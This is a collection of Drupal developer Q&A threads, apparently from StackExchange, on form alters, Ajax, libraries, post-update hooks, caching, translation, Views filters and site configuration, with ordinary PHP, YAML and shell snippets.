
Only first image of list render properly.

I could be way off, but with the information given, your problem might because of lightshow.   Try another module such as colorbox


Ajax form in preprocess_node never triggers In a preprocess_node hook, I try to insert a Drupal node_form form in my page. I do it with this function:

function my_module_get_edit_form($selection) {
  drupal_add_library('system', 'drupal.ajax');
  drupal_add_library('system', 'drupal.form');
  $form = drupal_get_form('selection_node_form', $selection);

  //here some code to disable (#access = FALSE) unwanted fields and options

  $form['actions']['submit'] = array(
    '#type' => 'button',
    '#value' => 'Update',
    '#limit_validation_errors' => array(),
    '#ajax' => array(
      'callback' => 'smll_selection_ajax_callback',
      'wrapper' => 'selection_form'
    ),
  );

  return drupal_render($form);
}

The form is rendered properly but when I click my submit button, it always submits the form and forwards me to the node's page, no ajax call.

I tried adding #ajax array onto a select field in the same form ($form['field_application_type']['und']['#ajax']) but nothing is triggered when I change the select's value. No HTTP request, no Javascript error, nothing.

I tried using drupal_build_form with a manufactured $form_state.

I tried creating my form in an another function and calling it with drupal_build_form.

I tried setting #ajax_processed to TRUE.

The HTML id selection_form exists but, anyway, I never come to the moment the callback function is called.

You don't use the correct function for that;

function MYMODULE_form_alter(&$form, &form_state, $form_id) {
  if($form_id == 'selection_node_form' //and same condition you call your function){
    //do your changes here
  }
}

Or use drupal_retrieve_form then you can override the form.
The drupal_get_form call the function drupal_build_form which build the form, you can't override it that way.


How to exclude specific css file from aggregation Is it possible to exclude a specific css or js from drupal'l css and js aggregation ?

For ex: Exclude custom-style.css from being aggragated ?

Similar to Drupal 7, the setting preprocess key to FALSE will prevent a JS or CSS library from being aggregated.

mylibraryname:
  css:
    theme:
      css/custom-style.css: {preprocess: false}

Same works for JavaScript

cuddly-slider:
  version: 1.x
  js:
    js/cuddly-slider.js: {preprocess: false}
  dependencies:
    - core/jquery
    - core/drupalSettings

As documented on Adding stylesheets (CSS) and JavaScript (JS) to a Drupal 8 module


The version of CKEditor could not be detected Possible Duplicate:
  CKEDITOR not working Drupal 7

When I try to enable CkEditor, I get the following error.

I have already extracted the files in sites/all/libraries/ckeditor.

Is there any problem with the version of this module? How can I fix this?

I have already read Ckeditor doesn't work.

What you need to do after installing the module is go to http://ckeditor.com and download the latest version. Then uncompress the contents of the 'ckeditor' directory of the downloaded file to this folder 'libraries/ckeditor/ckeditor'.

Installation steps

Unzip the module files to the "sites/all/libraries" directory. It should now
  contain a "ckeditor" directory.
Download standalone CKEditor from http://ckeditor.com/download. Unzip the
  contents of the "ckeditor" directory from the installation package to the
  "sites/all/libraries/ckeditor/ckeditor" directory.
  Note: you can skip uploading the "_samples" and "_source" folders.
Enable the module in the "Administration panel > Modules > User Interface" section.
Grant permissions for using CKEditor in the
  "Administration panel > People > Permissions" section.
  Note: In order to enable the file browser, refer to the
        "Installing CKFinder" section.
Adjust CKEditor profiles in the
  "Administration panel > Configuration > Content Authoring > CKEditor" section.
  Profiles determine which options are available to users based on the input format system.


Template file printing on every page I'm getting a really strange issue. I created a module that uses a template file:

/**
 * Implements hook_block_info().
 */
function emed_newsletter_block_info() {
  $blocks['newsletter_signup'] = array(
    'info' => t('Newsletter Signup'),
    'cache' => DRUPAL_NO_CACHE
  );

  return $blocks;
}
/**
 * Implements hook_block_view().
 */
function emed_newsletter_block_view($delta = '') {
  $block = array();

  switch ($delta) {
    case 'newsletter_signup':
      $block['subject'] = t('');
      $block['content'] = array(
        '#theme' => 'newsletter_signup'
        );
      break;
  }
  return $block;
}
/**
 * Implements hook_theme().
 */
function emed_newsletter_theme($existing, $type, $theme, $path) {
  return array(
    'newsletter_signup' => array(
      'render element' => 'content',
      'file' => 'templates/newsletter.tpl.php',
    ),
  );
}

The template file just contains HTML.

The problem is that the text/html inside the template is being printed on every page at the top. Even on a drush cc all

Has anyone run into this issue before?

Core Version = 7.24

I'm pretty certain you want to be saying 'template' in your  hook_theme():

template: If specified, this theme implementation is a template, and this is the template file without an extension. Do not put .tpl.php on this file; that extension will be added automatically by the default rendering engine (which is PHPTemplate). If 'path', above, is specified, the template should also be in this path.

instead of 'file', as...

file: The file the implementation resides in. This file will be included prior to the theme being rendered, to make sure that the function or preprocess function (as needed) is actually loaded; this makes it possible to split theme functions out into separate files quite easily.

...which would suggest the reason why all of this html is being spit out on top of each page because it is being included every time instead of being buffered with Drupal's theme engine as a template and then output later on.


How to get 'add more items' / multiple fields working when creating a custom content type's create/edit input form using templates and theming (D7)? For single instances of each field, I've successfully followed arajashe's excellent answer for controlling what input fields get displayed in the content type's create/edit form here:
https://drupal.stackexchange.com/a/68975/1082 - an answer to question: How do you theme a content type's create/edit form in Drupal 7?

But what about fields where you can add more, where you specify in the settings that more than 1 of a field can be added, or even unlimited.

In this case, the above answer does not work. When I click the 'add more items' button for such fields, in my custom form, the new field does not display. Given that I have already displayed the first instance of the field, I would expect the markup output to include a place holder for contain the new input field that would be inserted as a result of clicking the button.

I've started to debug the code involved - 2 screenshots

The first is in field.form.inc and shows the ajax call back code - the code that is called when the add more items button is pressed. This does the job of inserting the markup for the new instance of the field input. For some reason (which is why I'm asking this question), the markup for the second field is not being inserted alongside the first field by this function, when I use a custom template.

The second screenshot shows 2 fields of the same type and the markup that generates them. This is when no custom template is being used - i.e. the default, out-of-the-box input form for add content type that comes with Drupal.

The successful answer I found would be not to build the form from scratch as described in: https://drupal.stackexchange.com/a/68975/1082

But instead to use the standard default content type entry form and to customise it to only show certain fields, using the php unset function to hide the input fields that you don't want to be displayed (provided they are non-mandatory of course).

In theme code, template.php

function theme_form_alter(&$form, &$form_state, $form_id)
{
  if($form_id == 'machine_name_of_your_form')
  {
    unset( $form['field_email'] );
  }
}

The benefit of this approach is that you start with a working form and take things off that you don't need.

Contrast that with building a custom form from scratch which doesn't have that guarantee of working - well I found this anyway - as it seemed that even though here I included the essentials, things like multiple field handling didn't work and the submit didn't work either.

So starting with the complete form and tweaking worked for me.

Update

An approach better than unset (and in fact is the official Drupal approach), is to use the #access property on form fields to hide them. For example, in your-theme_hook_alter function (hook_form_alter) in your theme's template.php you would do:

$form['field_email']['#access'] = false;

More details here: http://themery.com/dgd7/advanced-theming/forms/with-templates
(which is an excerpt from THE DEFINITIVE GUIDE TO DRUPAL 7 ebook and paper-based physical book from apress - see http://dgd7.org/ and http://apress.com)


How can i find out which form mode is used from hook_form_FORM_ID_alter? I have created a new form mode (in the UI at admin/structure/display-modes) for a custom entity (form mode is entitled apply) and added apply to the form handler classes in the entity class.

The form is built and returned in a Controller, and specifies the form mode.

$form = $this->entityFormBuilder()->getForm($entity, 'apply');

Now I would like to be able to determine from a hook_form_alter whether this form is being displayed using the apply form mode, but I cannot work out how that is available from $form or $form_state.

You can try EntityFormInterface::getOperation:

function mymodule_form_FORM_ID_alter(&$form, FormStateInterface $form_state) {
  // only continue if this is for form mode "apply"
  if ($form_state->getFormObject()->getOperation() !== 'apply') {
    return;
  }

  // do stuff

}


How to remove comma between taxonomy terms? I style my taxonomy terms as boxes, so I don't need comma between them.

Could somebody give me any advice?

Here's a nice blog post on styling taxonomy in node.tpl.php (or node-contenttype.tpl.php): http://oliverdavies.co.uk/blog/how-style-drupal-6s-taxonomy-lists-php-css-and-jquery

Looks like you should check your node.tpl.php for something like <?php if ($terms): ?> and then you might see where the commas are being added and strip them out. This will depend on what theme you are using.


Smart crop for drupal 8? I find intresting plugins, for smart image croping:

https://www.drupal.org/project/smartcrop
https://www.drupal.org/node/907984
https://www.drupal.org/project/imagefield_focus

But all of them for drupal 7

Is there a module for Drupal 8? What can I do to install this on Drupal 8?

Image Widget Crop

Provides an interface for using the features of the Crop API. Module
is still under heavy development.

Posted by woprrr


How to copy data from one field to another in same content type using hook_update_N Trying to copy data from field A (plain text field) to field B (entity reference field with taxonomy) within the same content type. The taxonomy terms used in field B are the same terms used in old field (field A).

Below is my first attempt in writing a hook for field copy (using hook_update_N) but its not working.

function mymodule_update_8001() {
   $node_type = "test_content_type";
   $nidArray = db_query("SELECT nid FROM node WHERE type = '%s' ", $node_type);

  foreach ($nidArray as $nid) {
    $node = node_load($nid);
    $termString = $node->field_a;
    $termObject = taxonomy_term_load_multiple_by_name($termString);
    $node->field_b->target_id = $termObject->tid;
    $node->revision = TRUE;
    node_save($node);
  }
}

Any help on this would be greatly appreciated.

The code doesn't work because it uses node_save(), which is a function Drupal 8 doesn't implement. (If you click on Same name and namespace in other branches on the documentation page, you will notice there isn't a link for any Drupal 8.x version.)
In Drupal 8, where a $node is an instance of a class implementing EntityInterface, a node is saved with $node->save().
The code is also using functions that are still implemented by Drupal 8, but they are deprecated and they will be removed on Drupal 9 or future Drupal versions.

The documentation for node_load() suggests to instead use \Drupal\node\Entity\Node::load(), but other methods could be used, including the ones the entity_type.manager offers.

Instead of db_query(), the object returned from \Drupal\Core\Database\Database::getConnection() should be used; preferably, the database connection should be injected.

For entities, instead of directly querying its database table, the entity_type.manager service should be used to obtain an instance of the class that handles queries to that entity's database table

taxonomy_term_load_multiple_by_name() has not been marked as deprecated, and it's still present in Drupal 9, but the function it uses (entity_load_multiple_by_properties()) has been marked as deprecated. Preferably, the entity_type.manager service should be used also in this case.

The hook to implement isn't hook_update_N(). As the documentation for that hook says, loading, saving, or performing any other CRUD operation on an entity is never safe to do inside hook_update_N().
The correct hook to implement in this case is hook_post_update_NAME(), which receives the same arguments hook_update_N() gets. The expected return values are the same values expected from hook_update_N().
Since updating all the nodes could possibly cause PHP to time out, depending on the number of nodes the site has, the operation needs to be executed in batches, using the argument hook_post_update_NAME() gets.
The code I would use is the following one.
// Add the following lines at the begin of the mymodule.post_update.php file,
// where this hook is expected to be.
// (Replace mymodule with the machine name of the module you are using to
// implement the hook, in the hook name and in the name of the file containing
// it.)
use Drupal\Core\Entity\EntityStorageInterface;
use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\node\NodeInterface;
use Drupal\taxonomy\TermInterface;

function mymodule_post_update_update_taxonomy_references(&$sandbox) {
  $content_type = 'test_content_type';
  /** @var \Drupal\Core\Entity\EntityTypeManagerInterface $entity_type_manager */
  $entity_type_manager = \Drupal::entityTypeManager();
  /** @var \Drupal\Core\Entity\EntityStorageInterface $node_storage */
  $node_storage = $entity_type_manager->getStorage('node');
  /** @var \Drupal\Core\Entity\EntityStorageInterface $taxonomy_term_storage */
  $taxonomy_term_storage = $entity_type_manager->getStorage('taxonomy_term');
  if (!isset($sandbox['total'])) {
    $sandbox['current'] = 0;
    $sandbox['count'] = 0;
    $sandbox['total'] = $node_storage->getQuery()
      ->accessCheck(FALSE)
      ->condition('type', $content_type)
      ->count()->execute();
  }
  if (!empty($sandbox['total'])) {
    $nids = $node_storage->getQuery()
      ->accessCheck(FALSE)
      ->pager(50)
      ->condition('type', $content_type)
      ->condition('nid', $sandbox['current'], '>')
      ->sort('nid', 'ASC')
      ->execute();
    $nodes = $node_storage->loadMultiple($nids);
    /** @var \Drupal\node\NodeInterface $node */
    foreach ($nodes as $node) {
      $sandbox['current'] = $node->id();
      $sandbox['count']++;
      $taxonomy_terms = $taxonomy_term_storage->loadByProperties(['name' => $node->field_a]);
      if (!empty($taxonomy_terms) && is_array($taxonomy_terms)) {
        /** @var \Drupal\taxonomy\TermInterface $taxonomy_term */
        $taxonomy_term = reset($taxonomy_terms);
        $node->field_b->entity = $taxonomy_term;
        $node->setNewRevision();
        $node->save();
      }
    }
  }
  $sandbox['#finished'] = empty($sandbox['total']) ? 1 : $sandbox['count'] / $sandbox['total'];
}


How can I enable clean URLs? I installed Drupal 7 on Wamp Server. I can't find any checkbox or link to enable clean URLs; I see only the Run the Clean URL Test button.

How can I enable clean URLs?

The settings for the clean URLs are at admin/config/search/clean-urls.
That page shows the "Enable clean URLs" checkbox only when it is possible to enable them; when the server is not configured to support them, that page shows the following message:

  Clean URLs cannot be enabled. If you are directed to this page or to a Page not found (404) error after testing for clean URLs, see the online handbook.

On an Apache server, and with the default settings used from Drupal, clean URLs work if:

The mod_rewrite module is enabled for the server
The following directives are present in the Apache configuration file

AllowOverride All
AccessFileName .htaccess


Redirect all subpages back to the front page I am trying to redirect everything that is under example.com/pictures back to the front page (i.e. I am hiding picture nodes to be directly viewable).

Neither the Pathauto module nor the Global Redirect module allows me to do this (or I am overlooking something). I cannot simply block users from viewing that particular node type.

Is it possible doing this with a module? Should I hack something up? Would an .htaccess rewrite help me?

I am interested in an answer for Drupal 7.

I assume "pictures", is a content type. If that's not the case, this may not work. Please provide more details about your setup in that case.

Install the Chaos tool suite (ctools) module, and enable the Page Manager module
Enable the node template
Create a variant of type "HTTP response code".
Set the response code to 301.
Set the path to <front>
Go to "Selection rules" in the left menu
Add "Node:type == 'pictures'"
Save


Rewriting image output in views: how to provide replacement pattern inside twig tag? In views I want to rewrite output of image field by using twig function drupal_image (see module Twig Tweak). When I provide the image path directly, this code works:

{{ drupal_image('public://myimage.jpg' , image_responsive_style, responsive=true) }}

But I can not manage to provide image path by a variable, like this pseudocode:

{{ drupal_image('{{ uri }}' , image_responsive_style, responsive=true) }}

The problem seems to be how to provide the variable {{ uri }} properly inside the surrounding twig tag.

Remove quotes.
Remove wiggly brackets around.
Surround image_responsive_style by quote.
responsive=true Should passed as object:

    {{ drupal_image(uri , 'image_responsive_style', {responsive: true}) }}


Help! Can't Login - Accidently set Omega content zone to not display in content section mysite.com/user/login can't display the login form because I accidently set my content zone to not display. Is there a way to reverse this programmatically?

You can generate a one-time login link.

drush uli


Translate a JS string from interface translations doesn't work I've a problem about string translations.

I've built a multi-language site and in a custom module, in a JS file, I've used the function t() to make translatable some strings. These strings appear in /admin/config/regional/translate and I'm able to edit their value, but then, after cleared cache when I visit the site I see the strings not translated.

The strangest things is that for other elements the system works. I'm not able to debug this, my apache error and access logs are clear, nothing also in the message log of Drupal.

Anyone can help me?
Thank u in advance

Which string you want to translate before that you can use  Drupal.t

like

var optionsList = '<option value="" selected>' + Drupal.t('Navigate...') + '</option>';


Content types with a field that get data from my custom table as it said on the title, I've create a custom table named : writers (contains name,books..of writers)

To add a book, I've created also a content type that contains a form, with many textfields (book title, editor, number of pages..ect),now I want to have a list of writers (that are stored on my table : writers) to be sure that the book I'm adding is a book written by one of the writers I've on my table

I'm working on it for 2 days and I don't know how to do it, please if anyone can helps me it would be great

P.S. I don't want to let the user write the name of the writer on the form (content type) I want to let him choose on a list

Thank you

This is my book.module (to get an item to access to the form book):

<?php

function book_menu (){

$items['admin/books'] = array(
    'title' => 'books',
    'description' => 'books form',
    'title callback' => 'book_title_callback',
    'page callback' => 'system_admin_menu_block_page',
    'access arguments' => array('administer books'),
    'file' => 'system.admin.inc',
    'file path' => drupal_get_path('module', 'system'),
    'page callback' => 'drupal_get_form',
    'page arguments' => array('book_form')
);

  return $items;
 }

function book_permission(){
  return array(
   'administer books' => array(
   'title' => t('permissions to deal with books'),
   'description' => t('permissions to deal with books'),
 ),
  );
  }

and I have some functions..

Here we have the new function hook_update_7001 :

function book_update_7001(&$sandbox){
$info = field_info_field('field_data_field_writer'); //the select list on the content type

  $result = db_query("SELECT name_writer, uid FROM {writers} ");

  $res = $result->execute();
  $options = array();
   foreach($res as $sql){
    $options[] = array(
        'uid' => $sql-> uid,
        'name' => $sql-> name_writer,
        );
   }
$info['settings']['allowed_values'] = $options;
field_update_field($info);
 }

Did you already try the Entity reference module? If I understand your question correctly, you could create a content type Writer and add a reference field on your Book content type. This reference field can be used to select (i.e., use the 'Select list' widget) the appropriate Writer for your Book. No need to create a custom table yourself.

With permissions you can control who's allowed to create/edit/delete each of the content types.


Attach js to the module using libraries with inline property I have a module in which I have created a libraries.yml file and have attached it to the module:

$var[$delta] = array(
  '#theme' => 'example_theme',
  '#attached' => array(
    'library' => array(
      "example_theme/example-styling",
    ),
  ),
  '#file' => $output,
);

I want to provide a variable to the js defined in libraries.yml

How can I achieve this?

drupal_add_js('example = "' . $example . '";', 'inline')

drupal_add_js() has been deprecated, and you cannot use it anymore.

Pass the inline variables with the #attached property as :

$var[$delta]['#attached']['drupalSettings']['yourmodule']['example'] = $example;

And then access the example variable in the JS file as

drupalSettings.yourmodule.example

Note: I have not tried this code, but I think it should work.


convert node/id to node/path-alias in content body I added a link to a content body from ck editor as /node/7. When viewing this page I want to show www.sitename.com/example/alias.

This is working fine in drupal 7 (earlier version of my site), but not sure which module does this work.

I have installed pathauto, redirect, pathologic modules. I also configured the text format at admin/config/content/formats and set pathologic filter as first priority. But no luck.

After installed redirect module, if I hit node/7 in browser it automatically redirect to expected alias. But I want is the content page should show only url alias even If entered /node/7 in ckeditor.

Am I missing any configurations in any of the above module? or am I missing any module?

I found a hook in Pathologic module as hook_pathologic_alter and I used it to convert node path to URL alias.

I used this hook as follows

/**
 * Implements hook_pathologic_alter().
 */
function mymodule_pathologic_alter(&$url_params, &$parts, &$cached_settings){
    if ($parts['path'] != '<front>') {

        //get the alias for the path and assign it in path
        $alias = \Drupal::service('path.alias_manager')->getAliasByPath('/'.$url_params['path']);

        //Url::fromUri which Pathologic uses need a path without slash at first, so trim it
        $url_params['path'] = ltrim($alias, '/');
    }
}

This converts a node path to alias and pass it, so Pathologic will form a URL with alias.


Menu does not translate on second language I have a multi language Drupal 8 site. But when I change the language of the Drupal site to the second language everything changes to the selected language except the main menu.

When I change the language when I'm logged in, the main menu will be translated to the selected language.

Can someone help me to make the menu change language when a normal user select his preferenced language?

Your menu link translations are likely not published. Check the translation details element on the translate form and make sure the published checkbox is checked.

The default behavior around that is a bit weird, especially if you create the menu links before enabling translations, there is an issue that should improve that, might already be better in 8.4


Is there a way to track text-bytes changes Drupal nodes? A Drupal security question:

Assuming some people have admin access to your site. How could you know if and how much text they changed in any of the nodes of your site? I'm not talking about going to admin/content and see if some nodes are "Updated" but I'm asking about a way to see change in the number of text bytes; A good example to such tracking would be the Wikipedia article tracking system --- Each time a Wikipedian article changes, you could see the number of bytes changed in it --- If someone adds 219 bytes of text to it, it will be seen in green in the famous "View history" tab. If someone deletes 12 bytes of text from it, it will be seen in red (See attached image from the "View history" tab of a typical wikipedian article to understand me better).

I try to understand if there is a similar mechanism in Drupal that I could use to track byte changes in the nodes of my site, in case someone else enters as admin and change the text of some pages.

Yes, all one needs to do is look at the field_data_body table and compare the byte count of body_value between revisions to get this information.

In fact, this would probably make a good patch for the Diff module which alters the node Revisions tab to an interface pretty similar to MediaWiki. The only thing missing is the core of your question, a comparison of byte count between revisions.


Invalidate node cache so hook_node_view() runs on each node view My module uses hook_node_view() to add some contents to the node view.

function example_node_view() {
  if ($view_mode == 'full' && $node->bundle() == 'example')

  // Insert file listing content part
    $contents = Class::getContents();
    $build['example'] = $contents;
}

Drupal 8 caches the node view by default and only calls hook_node_view() once after each cache rebuild. For this module to function, hook_node_view() should run every time the node is requested. So, I am looking for ways to invalidate node:nid cache tag.

NB:
- I am not looking for ways to disable the caching for a development.

public function getContents(){
  return [
    "#type" = 'table',
    "#header' = 'header',
     .....
  ];

Solved by adding the CacheDependency to hook_node_view() as indicated by @4k4

$renderer = \Drupal::service('renderer');
$renderer->addCacheableDependency($build, $node->id());

For new content added to $build you have also add the cache metadata.

Example if you add data from a file entity do this:

$renderer = \Drupal::service('renderer');
$renderer->addCacheableDependency($build, $file);

This adds the cache tag for the file and whenever this file is changed, the cache item of the node which contains information from the file gets invalidated.

If  the added $content is already a render array with cache metadata drupal will merge this. You can check, which cache tags are missing in $content and add them in the class that generates this data.

Reference: https://www.drupal.org/docs/8/api/render-api/cacheability-of-render-arrays

If what the comment in the code suggests you have a list of files, you can add the tag 'file_list'. All entities invalidate the tag [entity-type]_list when creating, changing or deleting an entity.

Edit:

If you use the standard tools, that is building single entity displays with the view() method and list of entities with Views, then you don't need to take care of cache dependencies, because the render arrays these tools produce contain all necessary cache metadata.


How to implement side-by-side translation? How can you set up a translation system in Drupal which displays, for example, the English and the French node edit forms side-by-side? Is this possible using any of the contrib modules?

Additionally, how would I go about setting a requirement that a translation must always be entered when entering English content. Eg, to publish a piece of content, it must have both an English and French translation. Maybe through rules?

There hasn't been a whole lot of public work on this that I can find.

Some module options:

Side-by-Side Translation (no code)
Entity Translation Side-by-side Editor (code, no release)
Dual-Language Editor (code, no release)

liquidcms helped me find that last one.

I'd recommend trying the latter two and seeing how far you get.  Post patches for missing functionality as necessary.

Also, see the issue Create Node With Multiple Translations Using Single Form.


How to add Autocomplete to a Views Custom Textfield Filter I have created my own custom views filter handler which works perfectly with a simple textfield for the value form. However, I am unable to add autocomplete to that textfield (ie: the blue circle denoting autocomplete doesn't show up in the textfield and in the page source, autocomplete is not mentioned for that element).

What am I missing? Does Views re-write my value form somewhere as implied in Making text fields autocomplete in views exposed filters and if so, how do I plug into the after build within a custom filter handler class? (The question linked to involved altering an existing exposed form as opposed to creating a custom filter which I am.)

NOTE: I am using Drupal 7 and Views 3.

My Code

Here is my custom filter class:

/**
 * The Germplasm Genotyped views filter handler class (autocomplete textfield).
 */
class views_handler_filter_germplasm_genotyped_name extends views_handler_filter_string {

  /**
   * So that the value form is not inherited.
   */
  function value_form (&$form, &$form_state) {

        $form['value'] = array(
            '#type' => 'textfield',
            '#default_value' => $this->value,
            '#autocomplete' => 'tripal_ajax/nd_genotypes/genotyped_germplasm/name_to_id/Phaseolus/only'
        );

  }
}

I've defined my autocomplete in hook_menu():

  // Name autocomplete (display only the preferred organism -in path).
  $items['tripal_ajax/nd_genotypes/genotyped_germplasm/name_to_id/%/only'] = array(
    'page callback' => 'nd_genotypes_germplasm_name_to_id_callback',
    'page arguments' => array(4, FALSE),
    'access arguments' => array('access content'),
    'type' => MENU_CALLBACK
  );

And created my callback:

function nd_genotypes_germplasm_name_to_id_callback($organism_genus, $all_organisms, $string) {
  $matches = array();

  // custom table select
  $query = db_select('nd_genotype_germplasm', 'g')
    ->fields('g', array('name', 'genus'))
    ->condition('g.name', '%' . db_like($string) . '%', 'LIKE')
    ->condition('g.genus', $organism_genus, '=')
    ->orderBy('char_length(g.name)','ASC')
    ->orderBy('g.genus','ASC');
  $result = $query->execute();
  foreach ($result as $row) {
      $key = $row->name;
      if (!$all_organisms) {
        $matches[$key] = $row->name;
      }
      else {
        $matches[$key] = format_string(
          '@genus: @name',
          array(
            '@genus' => check_plain($row->genus),
            '@name' => check_plain($row->name),
          )
        );
      }
  }
  drupal_json_output($matches);
}

Testing I've done

I have tested the autocomplete callback directly by entering the path in my browser (ie: tripal_ajax/nd_genotypes/genotyped_germplasm/name_to_id/Cicer/only/CDC where "CDC" is the $string) and it works perfectly. By that I means it returns a json array outside my drupal theme with the elements I expect:

{
"CDC Xena 454 DNA Extraction": "CDC Xena 454 DNA Extraction",
"CDC Frontier 454 DNA Extraction": "CDC Frontier 454 DNA Extraction"
}

But as I said, my exposed fitler textfield in my view doesn't have autocomplete functionality. I know my value form is being executed because I can dpm() from within the handler and see it in my view, #autocomplete and all. However, when I look at the page source I see a plain textfield input with no autocomplete mentioned.

Note: Working autocomplete fields seem to have the class "form-autocomplete" on the input tag and an addition hidden input with the callback path and class "autocomplete autocomplete-processed".

So it turns out that I just had a small typo :( Anyway, I'm keeping this question up in case others are having troubles since it outlines completely how to do this and I was personally unable to find any tutorials.

In the above code it needs to be #autocomplete_path instead of #autocomplete.

Furthermore, if you are trying to create your own custom autocomplete filter, remember that you have to indicate the file containing your handler class in your .info file (ie: files[] = views/handlers/name_of_my_handler.inc) and that you need to assign your handler to a field using hook_views_data() or hook_views_data_alter().


Can't seem to edit page title in og/users/%/add_user In our what should be titled "Add Users", both H1 and title both contain the value "Home". I have even tried to overide with another module's hook_menu_alter.

function hook_menu_alter(&$items) {
   $items['og/users/%node/add_user']['#title'] = t('test');
}

Page.tpl.php is untouched:

<?php if ($title && !$is_front): ?>

<?php print $title; ?>

<?php endif; ?>

Any idea of other areas I should try?

This is what helped me in this particular situation, but I'd be open to mark another answer correct if anyone had a better option inside of a hook_form_alter().

// Force Title on the Add Users OG form.
if ($form['#id'] == 'og-add-users') {
    drupal_set_title('Add Users');
}


Hooks and routes not working at all I have a module called hello_world.

I have a hello_world.info.yml file in drupal/web/modules/custom/hello_world whose content is the following.

name: Hello World
description: Hello World module
type: module
core: 8.x
package: Custom

This works perfectly ; the module is in the extension list.

I tried to make a help hook so I made in the same folder a hello_world.module file with the following code.

<?php

use Drupal\Core\Routing\RouteMatchInterface;

/**
 * Implements hook_help().
 */

function hello_world_help($route_name, RouteMatchInterface $route_match) {
    switch ($route_name) {
        case 'help.page.hello_world':
            $output = '';
            $output .= '
' . t('About') . '
';
            $output .= '
' . t('This is an example module.') . '
';
            return $output;
            break;
    }
}

This does not work at all. The help page is not shown.

I also tried to make a hello world page using this controller in drupal/web/modules/custom/hello_world/src/HelloWOrldCOntroller.php.

<?php

namespace Drupal\hello_world\Controller;

use Drupal\Core\Controller\ControllerBase;

/**
 * Controller for the salutation message.
 */
class HelloWorldController extends ControllerBase
{
    /**
     * Hello World.
     *
     * @return string
     */
    public function helloWorld()
    {
        return [
            '#markup' => $this->t('Hello World')
        ];
    }
}

I added hello_world.routing.yml to drupal/web/modules/custom/hello_world.

hello_world.hello:
path: '/hello'
defaults:
_controller:
'\Drupal\hello_world\Controller\HelloWorldController::helloWorld'
_title: 'Our first route'
requirements:
_permission: 'access content'

This does not work either, even after clearing the cache. As I said, the hello_world.info.yml works perfectly fine, but the help hook and the controller/routing does not. The rest of the core modules work. I am using Vagrant if it matters.

Creating the files is not enough: The module needs also to be installed. /admin/modules gives a list of modules and allows to install them.

After a module is installed, all its hooks are invoked from Drupal.

As side note, YAML files are required to use the correct indentation. The content of the  hello_world.routing.yml file should be the following one.

hello_world.hello:
  path: '/hello'
  defaults:
    _controller: '\Drupal\hello_world\Controller\HelloWorldController::helloWorld'
    _title: 'Our first route'
  requirements:
    _permission: 'access content'

See the example give in Routing API, Registering simple routes.


Drush install on RedHat 6 seems to do nothing I'm trying to get drush installed on a RHEL6 server. I've done the install via pear and also by unpacking the tar ball to /usr/local/share. Both methods result in the same result: typing "drush" from any location does nothing. To be more specific it hangs without any errors that I can see.

It doesn't give any error about not finding it in the path, it just hangs.

I have had it working on other RHEL6 machines, but I haven't been able to pin down any differences between the installs to give me an idea what's wrong with this one.

Easiest way is to use the package manager:

yum -y install php-drush-drush

Alternatively, if it's installed in /usr/local/share then make a symbolic link:

sudo ln -s /usr/local/share/drush/drush /usr/local/bin/drush

Then, verify it works with:

which drush


What is the syntax for the 'Query string value' in a view argument input? down vote favorite
share [g+] share [fb] share [tw]

In Views (3.3) you have the possibility to provide an argument input once you set up a relationship and a contextual filter. One option is to get this argument from the Query string value.

I tried it with visiting a link like this:

....url_to_view_page?argument=foo

and also

....url_to_view_page?foo

and even

....url_to_view_page?q=foo

But it doesn't seem to work. What is the correct syntax for this in the URL?

Syntax depends on your view display path, e.g. for page displays.

For example, if your page display path is url_to_view_page/% then the syntax is:

url_to_view_page/foo.

If you do not have a path, then you'll always fall back on the contextual filter not provided behavior, this is always the case for blocks.


D8 Geocoder and KML files I am using Drupal 8 and I am trying to display a map of a Geofield field, using Leaflet. This part works as expected when I manually enter coordinates into the Geofield.

But problem comes with the geocoding part : I set up a File field to store a KML file. When the Geofield is told to geocode from the KML file field, each time I create or modify a content, two messages are shown :

a warning about the fact the file "cannot be geocoded",
an error saying that Drupal "could not find geo data in file" xxx.

Checking the Drupal log adds an interesting information : there is a php warning with a huge message starting with :

  Warning : exif_read_data(test.kml): File not supported in Drupal\geocoder\Geocoder\Provider\File->geocode()

The problem may come from the Geocoder plugin I use for the Geofield geocoding : I can select several plugins in the field management section, all of them apparently dealing with address geocoding, except a "File" plugin. I tried to check only this latter, or all, with the same failing result.

I thought the 'File" Geocoder plugin would be able to deal with KML, GPX... but it may be only for pictures shot containing exif data. Is there a specific plugin for KML files ? And what is the way to make it appear in the Geofield management ?

Anyway, I have tried for hours to find a solution, without any success for any file types (KML, GPX...).

Any help would be greatly appreciated.

Regards,

Remi.

I had a similar problem but not with leaflet.  It seems the geocoder could not parse kml files with polygons, only points.  I had some railroad routes that worked fine on google earth but not in drupal 8.  I redrew the routes that were "single lines" and it worked fine.


How to send after filtered views result in mail in drupal 7? I have created a view in drupal 7 with filters.. View is working fine I need to send after filter view result in mail with ajax views.
This time I am not using ajax so I am sending a filtered url in mail..
But I need to use ajax views. is it possible?

I'm not totally sure what you mean by

  I need to send after filter view result in mail with ajax views

If you need to send to the list of items (e.g., the items are members with email addresses), then you should install Rules, and set up Views Bulk Operations as described in this Drupalize Me (i.e., Lulabot's teaching videos) series. Parts 18 through 21 describe how to take a view, and use Rules to make it do something like send an email.

If you'll expand a bit about what you're trying to do, I can be a bit more specific about this.


I am trying to modify a form element using hook form alter but I can't find the correct field name I am learning Drupal 7. I have a custom module, trying to modify a date form element in my page. I have the form id identified, and Devel module list me all the fields in this page, I think I am typing the correct field name but it doesn't work, It creates a new form element instead of modify the form element.
Maybe the element is inside a fieldset, but I don't know how to write the correct line to modify. It is a datepicker and I am trying to modify the minDate property for the date element.

Here is my code:

function davidcustom_form_alter(&$form, &$form_state, $form_id) {
  drupal_set_message($form_id);  // print form ID to messages

  // Check when the right form is passed
  if ($form_id == 'commerce_cart_add_to_cart_form_24296') {

    $form['field_line_item_fecha_reserva'] = array(
      '#title' => t('Pick the desired date'),
      '#type' => 'date_popup',
      '#datepicker_options' => array(
        'minDate' => 10,
      ),
    );

  }

}

When you can't find an array key, the best thing to do is to dump the entire form array and search for it. If you use the Devel module, you can use the following:

dpm($devel);

This will give you a nice collapsible output through which you can search. Or you can use the old-school method that I use, and dump it directly using:

die('<pre>' . print_r($form, TRUE) . '</pre>');


How to implement user enrollment or subscription? I want to create a website with few courses in it. Each course will have a node of content type Course. I want users to be able to enter the course.

So this is sort of a "many-to-many" relationship question for Drupal, as for each subscription I will need to keep details on the progress, e.g. "last completed lesson", "total score", etc.

